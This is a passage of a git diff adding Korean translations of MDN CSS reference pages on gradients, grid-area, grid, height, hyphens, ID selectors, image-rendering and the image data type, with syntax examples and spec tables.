+  background: repeating-linear-gradient(to top left,
+      lightpink, lightpink 5px, white 5px, white 10px);
+}
+
+.radial-repeat {
+  background: repeating-radial-gradient(powderblue, powderblue 8px, white 8px, white 16px);
+}
+ +

{{EmbedLiveSample('반복_그레이디언트', 220, 180)}}

+ +

원뿔 그레이디언트

+ +

원을 따라 여러 색 사이를 전이합니다. {{cssxref("conic-gradient", "conic-gradient()")}} 함수를 사용해 생성합니다.

+ + + +
.conic-gradient {
+  background: conic-gradient(lightpink, white, powderblue);
+}
+
+ +

{{EmbedLiveSample('원뿔_그레이디언트', 240, 80)}}

+ +

보간

+ +

색과 관련한 다른 보간과 마찬가지로, 그레이디언트도 색과 투명도가 동시에 변할 때 예상하지 못한 회색이 등장하는걸 방지하기 위해 알파 채널을 미리 곱한 색 공간을 사용해 계산합니다. 오래 된 브라우저에서 {{cssxref("<color>", "", "#transparent_키워드")}} 키워드를 사용할 땐 다르게 행동할 수 있음을 주의하세요.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Images', '#gradients', '<gradient>')}}{{Spec2('CSS4 Images')}}Adds conic-gradient.
{{SpecName('CSS3 Images', '#gradients', '<gradient>')}}{{Spec2('CSS3 Images')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.image.gradient")}}

+ +

같이 보기

+ +
    +
  • CSS 그레이디언트 사용하기
  • +
  • 그레이디언트 함수: {{cssxref("linear-gradient", "linear-gradient()")}}, {{cssxref("radial-gradient", "radial-gradient()")}}, {{cssxref("repeating-linear-gradient", "repeating-linear-gradient()")}}, {{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}}
  • +
diff --git a/files/ko/web/css/grid-area/index.html b/files/ko/web/css/grid-area/index.html new file mode 100644 index 0000000000..9daba54c7b --- /dev/null +++ b/files/ko/web/css/grid-area/index.html @@ -0,0 +1,206 @@ +--- +title: grid-area +slug: Web/CSS/grid-area +tags: + - CSS + - CSS Grid + - CSS Property + - Reference +translation_of: Web/CSS/grid-area +--- +

grid-area 속성은 {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} and {{cssxref("grid-column-end")}} 값을 한번에 설정하는 shorthand property 입니다. 해당 속성값은 grid item의 크기와 위치를 결정합니다., specifying a grid item’s size and location within the {{glossary("grid rows", "grid row")}} by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the edges of its {{glossary("grid areas", "grid area")}}.

+ +
{{EmbedInteractiveExample("pages/css/grid-area.html")}}
+ + + +

If four <grid-line> values are specified, grid-row-start is set to the first value, grid-column-start is set to the second value, grid-row-end is set to the third value, and grid-column-end is set to the fourth value.

+ +

When grid-column-end is omitted, if grid-column-start is a {{cssxref("<custom-ident>")}}, grid-column-end is set to that <custom-ident>; otherwise, it is set to auto.

+ +

When grid-row-end is omitted, if grid-row-start is a <custom-ident>, grid-row-end is set to that <custom-ident>; otherwise, it is set to auto.

+ +

When grid-column-start is omitted, if grid-row-start is a <custom-ident>, all four longhands are set to that value. Otherwise, it is set to auto.

+ +

The grid-area property can also be set to a {{cssxref("<custom-ident>")}} which acts as a name for the area, which can then be placed using {{cssxref("grid-template-areas")}}.

+ +

Syntax

+ +
/* Keyword values */
+grid-area: auto;
+grid-area: auto / auto;
+grid-area: auto / auto / auto;
+grid-area: auto / auto / auto / auto;
+
+/* <custom-ident> values */
+grid-area: some-grid-area;
+grid-area: some-grid-area / another-grid-area;
+
+/* <integer> && <custom-ident>? values */
+grid-area: some-grid-area 4;
+grid-area: some-grid-area 4 / 2 another-grid-area;
+
+/* span && [ <integer> || <custom-ident> ] values */
+grid-area: span 3;
+grid-area: span 3 / span some-grid-area;
+grid-area: 2 span / another-grid-area span;
+
+/* Global values */
+grid-area: inherit;
+grid-area: initial;
+grid-area: unset;
+
+ +

Values

+ +
+
auto
+
Is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement or a default span of 1.
+
<custom-ident>
+
If there is a named line with the name '<custom-ident>-start'/'<custom-ident>-end', it contributes the first such line to the grid item’s placement. +

Note: Named grid areas automatically generate implicit named lines of this form, so specifying grid-area: foo; will choose the start/end edge of that named grid area (unless another line named foo-start/foo-end was explicitly specified before it).

+ +

Otherwise, this is treated as if the integer 1 had been specified along with the <custom-ident>.

+
+
<integer> && <custom-ident>?
+
Contributes the nth grid line to the grid item’s placement. If a negative integer is given, it instead counts in reverse, starting from the end edge of the explicit grid. +

If a name is given as a {{cssxref("<custom-ident>")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position.

+ +

An {{cssxref("<integer>")}} value of 0 is invalid.

+
+
span && [ <integer> || <custom-ident> ]
+
Contributes a grid span to the grid item’s placement such that the corresponding edge of the grid item’s grid area is n lines from the opposite edge. +

If a name is given as a {{cssxref("<custom-ident>")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span.

+ +

If the {{cssxref("<integer>")}} is omitted, it defaults to 1. Negative integers or 0 are invalid.

+
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Example

+ +

HTML content

+ +
<div id="grid">
+  <div id="item1"></div>
+  <div id="item2"></div>
+  <div id="item3"></div>
+</div>
+ +

CSS content

+ +
#grid {
+  display: grid;
+  height: 100px;
+  grid-template: repeat(4, 1fr) / 50px 100px;
+}
+
+#item1 {
+  background-color: lime;
+  grid-area: 2 / 2 / auto / span 3;
+}
+
+#item2 {
+  background-color: yellow;
+}
+
+#item3 {
+  background-color: blue;
+}
+
+ +

{{EmbedLiveSample("Example", "100%", "150px")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Grid", "#propdef-grid-area", "grid-area")}}{{Spec2("CSS3 Grid")}}Initial definition
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.grid-area")}}

+ +

See also

+ +
    +
  • Related CSS properties: {{cssxref("grid-row")}}, {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-template-areas")}}
  • +
  • Grid Layout Guide: Grid template areas
  • +
  • Video tutorial: Grid Template Areas
  • +
+ + diff --git a/files/ko/web/css/grid/index.html b/files/ko/web/css/grid/index.html new file mode 100644 index 0000000000..7515db99be --- /dev/null +++ b/files/ko/web/css/grid/index.html @@ -0,0 +1,192 @@ +--- +title: grid +slug: Web/CSS/grid +tags: + - CSS + - CSS Grid + - CSS Property + - Reference +translation_of: Web/CSS/grid +--- +

grid CSS 속성은 shorthand property 입니다. 외재적인 속성인 ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}), 값과 내재적인 속성인 ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-flow")}}), 값을 한번에 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/grid.html")}}
+ + + +
+

Note: You can only specify the explicit or the implicit grid properties in a single grid declaration. The sub-properties you don’t specify are set to their initial value, as normal for shorthands. Also, the gutter properties are NOT reset by this shorthand.

+
+ +

Syntax

+ +
/* <'grid-template'> values */
+grid: none;
+grid: "a" 100px "b" 1fr;
+grid: [linename1] "a" 100px [linename2];
+grid: "a" 200px "b" min-content;
+grid: "a" minmax(100px, max-content) "b" 20%;
+grid: 100px / 200px;
+grid: minmax(400px, min-content) / repeat(auto-fill, 50px);
+
+/* <'grid-template-rows'> /
+   [ auto-flow && dense? ] <'grid-auto-columns'>? values */
+grid: 200px / auto-flow;
+grid: 30% / auto-flow dense;
+grid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px;
+grid: [line1] minmax(20em, max-content) / auto-flow dense 40%;
+
+/* [ auto-flow && dense? ] <'grid-auto-rows'>? /
+   <'grid-template-columns'> values */
+grid: auto-flow / 200px;
+grid: auto-flow dense / 30%;
+grid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px);
+grid: auto-flow dense 40% / [line1] minmax(20em, max-content);
+
+/* Global values */
+grid: inherit;
+grid: initial;
+grid: unset;
+
+ +

Values

+ +
+
<'grid-template'>
+
{{cssxref("grid-template-columns")}}, {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-areas")}} 값을 내포하고 있는 {{cssxref("grid-template")}}의 값을 정의합니다.
+
<'grid-template-rows'> / [ auto-flow && dense? ] <'grid-auto-columns'>?
+
{{cssxref("grid-template-rows")}} (and the {{cssxref("grid-template-columns")}} property to none)은 auto-flow 값을 설정합니다. {{cssxref("grid-auto-columns")}} (and setting {{cssxref("grid-auto-rows")}} to auto)은 auto-repeat를 설정합니다. {{cssxref("grid-auto-flow")}} 또한 마찬가지로 auto-repeat에 영향을 줍니다. 만약 이 값이 생략되었다면 그 기본값은 dense 입니다. +

만약 grid 의 sub-properties가 있다면, 해당 값으로 초기화 됩니다.

+
+
[ auto-flow && dense? ] <'grid-auto-rows'>? / <'grid-template-columns'>
+
{{cssxref("grid-template-columns")}} (and the {{cssxref("grid-template-rows")}} property to none)은 auto-flow 값을 설정합니다. {{cssxref("grid-auto-rows")}} (and setting {{cssxref("grid-auto-columns")}} to auto)은 열(row)에 대한 auto-repeat를 설정합니다. {{cssxref("grid-auto-flow")}} 또한 마찬가지로 auto-repeat에 영향을 줍니다. 만약 이 값이 생략되었다면 그 기본값은 dense 입니다. +

만약  grid 의 sub-properties가 있다면, 해당 값으로 초기화 됩니다.

+
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Example

+ +

HTML Content

+ +
<div id="container">
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+</div>
+ +

CSS Content

+ +
#container {
+  display: grid;
+  grid: repeat(2, 60px) / auto-flow 80px;
+}
+
+#container > div {
+  background-color: #8ca0ff;
+  width: 50px;
+  height: 50px;
+}
+ +

Result

+ +

{{EmbedLiveSample("Example", "100%", 150)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Grid", "#propdef-grid", "grid")}}{{Spec2("CSS3 Grid")}}Initial definition
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.grid")}}

+ +

See also

+ + + + diff --git a/files/ko/web/css/height/index.html b/files/ko/web/css/height/index.html new file mode 100644 index 0000000000..8682d0c2c5 --- /dev/null +++ b/files/ko/web/css/height/index.html @@ -0,0 +1,175 @@ +--- +title: height +slug: Web/CSS/height +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/height +--- +
{{CSSRef}}
+ +

height CSS 속성은 요소의 높이를 지정합니다. 기본값은 콘텐츠 영역의 높이지만, {{cssxref("box-sizing")}}이 border-box라면 테두리 영역의 높이를 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/height.html")}}
+ + + +

{{cssxref("min-height")}}와 {{cssxref("max-height")}} 속성은 height를 덮어씁니다.

+ +

구문

+ +
/* 키워드 */
+height: auto;
+
+/* <length> */
+height: 120px;
+height: 10em;
+
+/* <percentage> */
+height: 75%;
+
+/* 전역 값 */
+height: inherit;
+height: initial;
+height: unset;
+
+ +

+ +
+
{{cssxref("<length>")}}
+
높이의 절대값.
+
{{cssxref("<percentage>")}}
+
컨테이닝 블록 높이의 백분율.
+
border-box {{experimental_inline}}
+
앞선 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}가 요소의 보더 박스에 적용.
+
content-box {{experimental_inline}}
+
앞선 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}가 요소의 콘텐츠 박스에 적용.
+
auto
+
브라우저가 요소의 너비를 계산하고 선택.
+
fill {{experimental_inline}}
+
글쓰기 방향에 따라 fill-available 인라인 크기 또는 fill-available 블록 크기를 사용.
+
max-content {{experimental_inline}}
+
본질적인 선호 높이.
+
min-content {{experimental_inline}}
+
본질적인 최소 높이.
+
available {{experimental_inline}}
+
컨테이닝 블록 너비에서 수평 여백, 테두리, 패딩을 제외한 값.
+
fit-content {{experimental_inline}}
+
다음 중 더 큰 값. +
    +
  • 본질적인 최소 너비
  • +
  • 본질적인 선호 너비와 사용 가능한 너비 중 작은 값
  • +
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<div id="taller">제 키는 50픽셀입니다.</div>
+<div id="shorter">제 키는 25픽셀입니다.</div>
+<div id="parent">
+  <div id="child">
+    제 키는 부모의 절반입니다.
+  </div>
+</div>
+
+ +

CSS

+ +
div {
+  width: 250px;
+  margin-bottom: 5px;
+  border: 2px solid blue;
+}
+
+#taller {
+  height: 50px;
+}
+
+#shorter {
+  height: 25px;
+}
+
+#parent {
+  height: 100px;
+}
+
+#child {
+  height: 50%;
+  width: 75%;
+}
+
+ +

결과

+ +

{{EmbedLiveSample('예제', 'auto', 240)}}

+ +

접근성 고려사항

+ +

페이지를 확대하거나 글꼴 크기를 늘렸을 때 height 속성을 지정한 요소가 잘리거나 다른 내용을 가리지 않도록 확인하세요.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Box', '#width-and-height', 'height')}}{{Spec2('CSS3 Box')}}Added the max-content, min-content, available, fit-content, border-box, content-box keywords.
{{SpecName('CSS3 Transitions', '#animatable-css', 'height')}}{{Spec2('CSS3 Transitions')}}Lists height as animatable.
{{SpecName('CSS2.1', 'visudet.html#the-height-property', 'height')}}{{Spec2('CSS2.1')}}Adds support for the {{cssxref("<length>")}} values and precises on which element it applies to.
{{SpecName('CSS1', '#height', 'height')}}{{Spec2('CSS1')}}Initial definition.
{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}{{Spec2('CSS3 Sizing')}}Adds new sizing keywords for width and height.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.height")}}

+ +

같이 보기

+ +
    +
  • box model, {{cssxref("width")}}, {{cssxref("box-sizing")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}
  • +
diff --git a/files/ko/web/css/hyphens/index.html b/files/ko/web/css/hyphens/index.html new file mode 100644 index 0000000000..82f963023f --- /dev/null +++ b/files/ko/web/css/hyphens/index.html @@ -0,0 +1,159 @@ +--- +title: hyphens +slug: Web/CSS/hyphens +tags: + - CSS + - CSS Property + - CSS Text + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/hyphens +--- +
{{CSSRef}}
+ +

CSS hyphens 속성은 여러 줄에 걸치는 텍스트에서 단어에 붙임표를 추가하는 방식을 설정합니다. 붙임표를 아예 방지할 수도 있고, 수동으로 지정한 곳에서만 발생하도록 나타낼 수도 있으며, 브라우저가 자동으로 적절한 곳에 붙임표를 삽입하도록 허용할 수도 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/hyphens.html")}}
+ + + +

붙임표 규칙은 언어별로 다릅니다. HTML의 언어는 lang 특성으로 알아낼 수 있으며, 브라우저는 lang 특성과 해당 언어에 적합한 붙임표 규칙이 모두 사용 가능할 때에만 붙임표를 추가합니다. XML에서는 xml:lang 특성을 사용해야 합니다.

+ +
+

참고: 명세는 붙임표 규칙을 명시하지 않고 있으므로 동작 방식이 브라우저마다 다를 수 있습니다.

+
+ +

구문

+ +
/* 키워드 값 */
+hyphens: none;
+hyphens: manual;
+hyphens: auto;
+
+/* 전역 값 */
+hyphens: inherit;
+hyphens: initial;
+hyphens: unset;
+
+ +

hyphens 속성은 아래 목록 중 하나의 키워드를 사용해 지정할 수 있습니다.

+ +

+ +
+
none
+
단어 내의 문자가 줄 바꿈 위치를 나타내더라도 단어를 내에서 줄을 바꾸지 않습니다. 줄 바꿈은 공백 문자에서만 발생합니다.
+
manual
+
단어 내의 줄 바꿈 위치를 나타내는 문자에서는 줄을 바꿀 수 있습니다. 아래의 {{anch("줄 바꿈 위치 제안")}}에서 자세한 정보를 알아보세요.
+
auto
+
브라우저가 단어 내의 적합한 붙임표 위치를 자유롭게 골라서 줄을 바꿀 수 있습니다. 단, 줄 바꿈 위치를 제안(아래의 {{anch("줄 바꿈 위치 제안")}} 을 보세요)한 경우에는 해당 위치를 사용합니다.
+
+ +
+

참고: 적합한 붙임표 규칙을 선택할 수 있도록 언어를 제대로 명시해야 auto 값의 동작도 정확해집니다. HTML lang 특성을 사용해 해당 언어의 붙임표 규칙을 사용할 것을 확실하게 지정하세요.

+
+ +

줄 바꿈 위치 제안

+ +

아래의 두 가지 Unicode 문자를 사용해서 수동으로 줄 바꿈 위치를 제안할 수 있습니다.

+ +
+
U+2010 (HYPHEN)
+
붙임표, "하드" 하이픈 문자는 눈에 보이는 줄 바꿈 위치를 나타냅니다. 실제로 줄이 바뀌지는 않더라도 붙임표를 볼 수 있습니다.
+
U+00AD (SHY)
+
투명한 "소프트" 하이픈("soft" hyphen)입니다. 눈에 보이지 않으며, 브라우저가 붙임표를 사용해 단어를 끊을 위치로 선택합니다. HTML에서는 &shy;를 사용해 입력하세요.
+
+ +
+

HTML {{htmlelement("wbr")}} 요소로 인한 줄 바꿈으로는 붙임표가 추가되지 않습니다.

+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

붙임표 줄 바꿈 지정하기

+ +

다음 예제는 hyphens 속성에 사용할 수 있는 세 개 값을 시연합니다.

+ +

HTML

+ +
<dl>
+  <dt><code>none</code>: no hyphen; overflow if needed</dt>
+  <dd lang="en" class="none">An extreme&shy;ly long English word</dd>
+  <dt><code>manual</code>: hyphen only at &amp;hyphen; or &amp;shy; (if needed)</dt>
+  <dd lang="en" class="manual">An extreme&shy;ly long English word</dd>
+  <dt><code>auto</code>: hyphens where the algorithm decides (if needed)</dt>
+  <dd lang="en" class="auto">An extreme&shy;ly long English word</dd>
+</dl>
+
+ +

CSS

+ +
dd {
+  width: 55px;
+  border: 1px solid black;
+ }
+dd.none {
+  -webkit-hyphens: none;
+  -ms-hyphens: none;
+  hyphens: none;
+}
+dd.manual {
+  -webkit-hyphens: manual;
+  -ms-hyphens: manual;
+  hyphens: manual;
+}
+dd.auto {
+  -webkit-hyphens: auto;
+  -ms-hyphens: auto;
+  hyphens: auto;
+}
+
+ +

결과

+ +
+

{{EmbedLiveSample("붙임표_줄_바꿈_지정하기", "100%", 490)}}

+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Text", "#hyphens-property", "hyphens")}}{{Spec2("CSS3 Text")}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.properties.hyphens")}}

+
+ +

같이 보기

+ +
    +
  • {{Cssxref("content")}}
  • +
  • {{cssxref("overflow-wrap")}} (이전 이름 word-wrap)
  • +
  • {{cssxref("word-break")}}
  • +
diff --git a/files/ko/web/css/id_selectors/index.html b/files/ko/web/css/id_selectors/index.html new file mode 100644 index 0000000000..10df449707 --- /dev/null +++ b/files/ko/web/css/id_selectors/index.html @@ -0,0 +1,85 @@ +--- +title: ID 선택자 +slug: Web/CSS/ID_selectors +tags: + - CSS + - Reference + - Selectors + - 선택자 +translation_of: Web/CSS/ID_selectors +--- +
{{CSSRef}}
+ +

CSS ID 선택자는 요소의 {{htmlattrxref("id")}} 특성 값을 비교하여, 완전히 동일한 id를 가진 요소를 선택합니다.

+ +
/* id="demo" 요소 선택 */
+#demo {
+  border: red 2px solid;
+}
+ +

구문

+ +
#id_value { style properties }
+ +

위의 구문은 특성 선택자를 사용한 다음 구문과 동일합니다.

+ +
[id=id_value] { style properties }
+ +

예제

+ +

CSS

+ +
#identified {
+  background-color: skyblue;
+}
+
+ +

HTML

+ +
<div id="identified">특별한 ID를 가진 요소에요!</div>
+<div>이건 그냥 div에요.</div>
+
+ +

결과

+ +

{{EmbedLiveSample("Example", '100%', 50)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#id-selectors", "ID selectors")}}{{Spec2("CSS4 Selectors")}}
{{SpecName("CSS3 Selectors", "#id-selectors", "ID selectors")}}{{Spec2("CSS3 Selectors")}}
{{SpecName("CSS2.1", "selector.html#id-selectors", "ID selectors")}}{{Spec2("CSS2.1")}}
{{SpecName("CSS1", "#id-as-selector", "ID selectors")}}{{Spec2("CSS1")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.id")}}

diff --git a/files/ko/web/css/image-rendering/index.html b/files/ko/web/css/image-rendering/index.html new file mode 100644 index 0000000000..85522966f0 --- /dev/null +++ b/files/ko/web/css/image-rendering/index.html @@ -0,0 +1,120 @@ +--- +title: image-rendering +slug: Web/CSS/image-rendering +tags: + - CSS + - CSS Images + - CSS Property + - Reference +translation_of: Web/CSS/image-rendering +--- +
{{CSSRef}}
+ +

image-rendering CSS 프로퍼티는 브라우저의 이미지 스케일링 방식에 대한 힌트를 제공합니다. 이 프로퍼티는 엘리먼트 자신에게 적용시킵니다. 스케일링(크기변경)이 안 된 이미지에게는 적용되지 않습니다.

+ +

예를들어, 100x100 픽셀의 이미지가 있는데 페이지에서 요구하는 이미지는 200x200픽셀 (혹은 50x50px)이라면, 이미지는 새로운 면적만큼의 특정 알고리즘으로 인해 확대(혹은 축소)됩니다. 스케일링은 사용자의 상호작용(줌기능) 으로 인해 일어날겁니다.

+ +

{{cssinfo}}

+ +

구문

+ +
/* 키워드 값 */
+image-rendering: auto;
+image-rendering: crisp-edges;
+image-rendering: pixelated;
+
+/* 전역 값 */
+image-rendering: inherit;
+image-rendering: initial;
+image-rendering: unset;
+
+ +

Values

+ +
+
auto
+
기본값입니다.
+ 이미지의 스케일링 알고리즘은 이미지를 최대치로 활용해서 나타냅니다. 특히, 스케일링 알고리즘은 이중선형보간법같은 알고리즘이 보기에 괜찮은 "부드러운"색상을 나타냅니다. 사진같은 종류의 것들을 위해 GEcko엔진 1.9버전(파이어폭스 3.0) 에서는 이중선형 리샘플링(고품질) 을 사용해왔습니다.
+
+ +
+
+ +
+
crisp-edges
+
이미지 스케일링 알고리즘은 반드시 색상대조와 이미지의 표준을 맞게 보존해야 합니다. 그리고 smooth 하지 못한 색상 혹은 이미지의 흐림효과 또한 알고리즘 공정에 있어야합니다. 이 속성은 픽셀아트같은 의도되어 만들어진 이미지들에게 필요합니다.
+
pixelated
+
이미지 스케일링을 크게 확대할 때는 "nearest neighbor" 혹은 비슷한 알고리즘을 반드시 사용해야 합니다. 그래서 이미지의 큰 픽셀로 구성해서 나타낼 수 있습니다. 이미지를 작게 축소할 때는 "auto" 속성과 같습니다.
+
+ +
The values optimizeQuality and optimizeSpeed present in early draft (and coming from its SVG counterpart) are defined as synonyms for the auto value.
+ +

공식 문법

+ +
{{csssyntax}}
+ +

예제

+ +
/* applies to GIF and PNG images; avoids blurry edges */
+
+img[src$=".gif"], img[src$=".png"] {
+                   image-rendering: -moz-crisp-edges;         /* Firefox */
+                   image-rendering:   -o-crisp-edges;         /* Opera */
+                   image-rendering: -webkit-optimize-contrast;/* Webkit (non-standard naming) */
+                   image-rendering: crisp-edges;
+                   -ms-interpolation-mode: nearest-neighbor;  /* IE (non-standard property) */
+                 }
+
+
+ +
div {
+        background: url(chessboard.gif) no-repeat 50% 50%;
+        image-rendering: -moz-crisp-edges;         /* Firefox */
+        image-rendering:   -o-crisp-edges;         /* Opera */
+        image-rendering: -webkit-optimize-contrast;/* Webkit (non-standard naming) */
+        image-rendering: crisp-edges;
+        -ms-interpolation-mode: nearest-neighbor;  /* IE (non-standard property) */
+}
+ +

{{EmbedLiveSample('예제')}}

+ +

Live Examples

+ +

image-rendering: auto;

+ +

78% squares.gif 100% squares.gif 138% squares.gif downsized hut.jpg upsized blumen.jpg

+ +

image-rendering: pixelated; (-ms-interpolation-mode: nearest-neighbor)

+ +

78% squares.gif 100% squares.gif 138% squares.gif downsized hut.jpg upsized blumen.jpg

+ +

image-rendering: crisp-edges; (-webkit-optimize-contrast)

+ +

78% squares.gif 100% squares.gif 138% squares.gif downsized hut.jpg upsized blumen.jpg

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Images', '#the-image-rendering', 'image-rendering')}}{{Spec2('CSS3 Images')}}Initial definition
+ +
+

Note: Though initially close from the SVG image-rendering property, the values are quite different now.

+
+ +

브라우저 지원

+ +

{{Compat("css.properties.image-rendering")}}

diff --git a/files/ko/web/css/image/index.html b/files/ko/web/css/image/index.html new file mode 100644 index 0000000000..7d68b3fadc --- /dev/null +++ b/files/ko/web/css/image/index.html @@ -0,0 +1,175 @@ +--- +title: +slug: Web/CSS/image +tags: + - CSS + - CSS Data Type + - CSS Images + - Graphics + - Layout + - Reference + - Web +translation_of: Web/CSS/image +--- +
{{CSSRef}}
+ +

<image> CSS 자료형은 2차원 이미지를 나타냅니다. 이미지는 {{cssxref("<url>")}}로 참조하는 일반 이미지, {{cssxref("<gradient>")}} 또는 {{cssxref("element")}}를 사용해 동적으로 생성하는 이미지 두 종류가 있습니다. 다른 이미지 함수로는 {{cssxref("imagefunction", "image()")}}, {{cssxref("image-set")}}, {{cssxref("cross-fade")}} 등이 있습니다. 이미지는 {{CSSxRef("background-image")}}, {{CSSxRef("border-image")}}, {{CSSxRef("content")}}, {{CSSxRef("cursor")}}, {{CSSxRef("list-style-image")}} 등 많은 속성에 사용할 수 있습니다.

+ +

이미지 유형

+ +

CSS는 다음 이미지 종류를 처리할 수 있습니다.

+ +
    +
  • 본질적인 크기(원래 크기)를 가진 이미지. JPEG, PNG 등 래스터 포맷.
  • +
  • 여러 개의 본질적인 크기를 가진 이미지. 하나의 파일이 이미지의 여러 버전을 가지고 있는 경우. 일부 .ico 파일 등. 이 때, 본질적인 크기는 제일 크고 컨테이닝 박스와 가로세로 비율이 제일 비슷한 이미지를 따라갑니다.
  • +
  • 본질적인 크기는 없지만 본질적인 종횡비를 가진 이미지. SVG 등 벡터 포맷.
  • +
  • 본질적인 크기도, 종횡비도 없는 이미지. CSS 그레이디언트 등.
  • +
+ +

CSS는 객체의 구체적인 크기를 (1) 그 본질적인 크기, (2) {{CSSxRef("width")}}, {{CSSxRef("height")}}, {{CSSxRef("background-size")}} 등 CSS 속성으로 설정한 크기, (3) 아래 표에 나열한, 이미지를 설정한 속성에 따른 기본값을 통해 결정합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
객체 유형 (CSS 속성)객체 크기의 기본값
{{CSSxRef("background-image")}}요소의 배경 위치 영역 크기
{{CSSxRef("list-style-image")}}1em 문자의 크기
{{CSSxRef("border-image-source")}}요소의 테두리 이미지 영역 크기
{{CSSxRef("cursor")}}브라우저가 정의한, 클라이언트 시스템의 일반적인 커서 사이즈
{{CSSxRef("mask-image")}}?
{{CSSxRef("shape-outside")}}?
{{CSSxRef("mask-border-source")}}?
{{cssxref("@counter-style")}}의 {{CSSxRef("symbols")}}실험적 기능. 지원 시엔 브라우저가 정의한, 클라이언트 시스템의 일반적인 커서 사이즈
의사 요소의 {{CSSxRef("content")}} ({{CSSxRef("::after")}}/{{CSSxRef("::before")}})300px × 150px 사각형
+ +

구체적인 크기는 다음 알고리즘을 사용해 계산합니다.

+ +
    +
  • 너비와 높이 모두 지정한 크기가 있다면 그 값을 구체적인 크기로 사용합니다.
  • +
  • 너비 또는 높이만 지정한 크기가 있고, 본질적인 종횡비가 있다면 그 값으로 다른 크기를 계산해 사용하고, 지정한 크기가 본질적인 크기와 일치하면 다른 크기도 본질적인 크기를 사용하고, 모두 아니면 객체 크기의 기본값을 사용합니다.
  • +
  • 너비도 높이도 지정한 크기가 없다면, 객체 크기의 기본값을 넘지 않는 한도에서 이미지의 본질적인 종횡비를 사용해 구체적인 크기를 결정합니다. 본질적인 종횡비가 없으면 요소의 종횡비를 사용하며, 요소도 가지고 있지 않으면 객체 크기의 기본값에서 가져옵니다.
  • +
+ +
참고: 모든 브라우저가 모든 속성에 모든 유형의 이미지를 지원하는건 아닙니다. {{anch("브라우저 호환성")}} 항목을 참고하세요.
+ +

구문

+ +

<image> 자료형은 다음 중 하나로 나타낼 수 있습니다.

+ +
    +
  • {{CSSxRef("<url>")}} 자료형
  • +
  • {{CSSxRef("<gradient>")}} 자료형
  • +
  • {{CSSxRef("element")}} 함수로 정의한 웹페이지의 일부
  • +
  • {{CSSxRef("image()")}} 함수로 정의한 이미지, 이미지 조각, 단일 색
  • +
  • {{CSSxRef("cross-fade")}} 함수로 정의한 두 개 이상 이미지의 혼합
  • +
  • {{CSSxRef("image-set")}} 함수로 정의한 이미지 중 적절한 해상도
  • +
+ +

예제

+ +

유효한 이미지

+ +
url(test.jpg)               /* "test.jpg"가 실제로 이미지일 때 <url> */
+linear-gradient(blue, red)  /* <gradient> */
+element(#realid)            /* "realid"가 페이지에 존재하는 ID일 때
+                               element() 함수로 참조한 웹페이지의 일부 */
+image(ltr 'arrow.png#xywh=0,0,16,16', red)
+                            /* "arrow.png"가 지원되는 이미지일 때 <url>의 일부, 원본의 좌상단부터 16x16
+                               지원하지 않는 이미지일 때 빨강 단색
+                               RTL 언어에서는 이미지아 가로방향 반전됨 */
+cross-fade(20% url(twenty.png), url(eighty.png))
+                            /* 혼합 이미지, "twenty.png" 불투명도 20%
+                                         "eighty.png" 불투명도 80% */
+image-set('test.jpg' 1x, 'test-2x.jpg' 2x)
+                            /* 여러 해상도의 이미지 묶음 */
+ +

유효하지 않은 이미지

+ +
nourl.jpg            /* 이미지 파일은 url() 함수로 정의해야 함 */
